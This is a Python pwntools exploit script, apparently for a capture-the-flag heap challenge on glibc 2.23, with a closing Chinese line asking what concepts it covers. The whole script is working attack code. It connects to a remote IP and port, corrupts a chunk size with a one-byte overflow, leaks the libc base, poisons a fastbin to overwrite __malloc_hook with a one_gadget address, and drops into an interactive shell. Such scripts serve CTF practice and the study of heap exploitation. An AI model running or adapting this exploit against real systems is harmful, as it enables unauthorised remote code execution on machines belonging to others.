import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice): p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com): menu(1) # menu(1) p.sendlineafter(b"Damage of skill : ",str(size)) p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size): menu(2) p.sendlineafter(b"Index :",str(idx)) p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com): menu(3) p.sendlineafter(b"Index :",str(idx)) p.sendlineafter(b"introduction of skill : ",com) def show(idx): menu(4) p.sendlineafter(b"Index :",str(idx)) def delete(idx): menu(5) p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()这串代码的知识点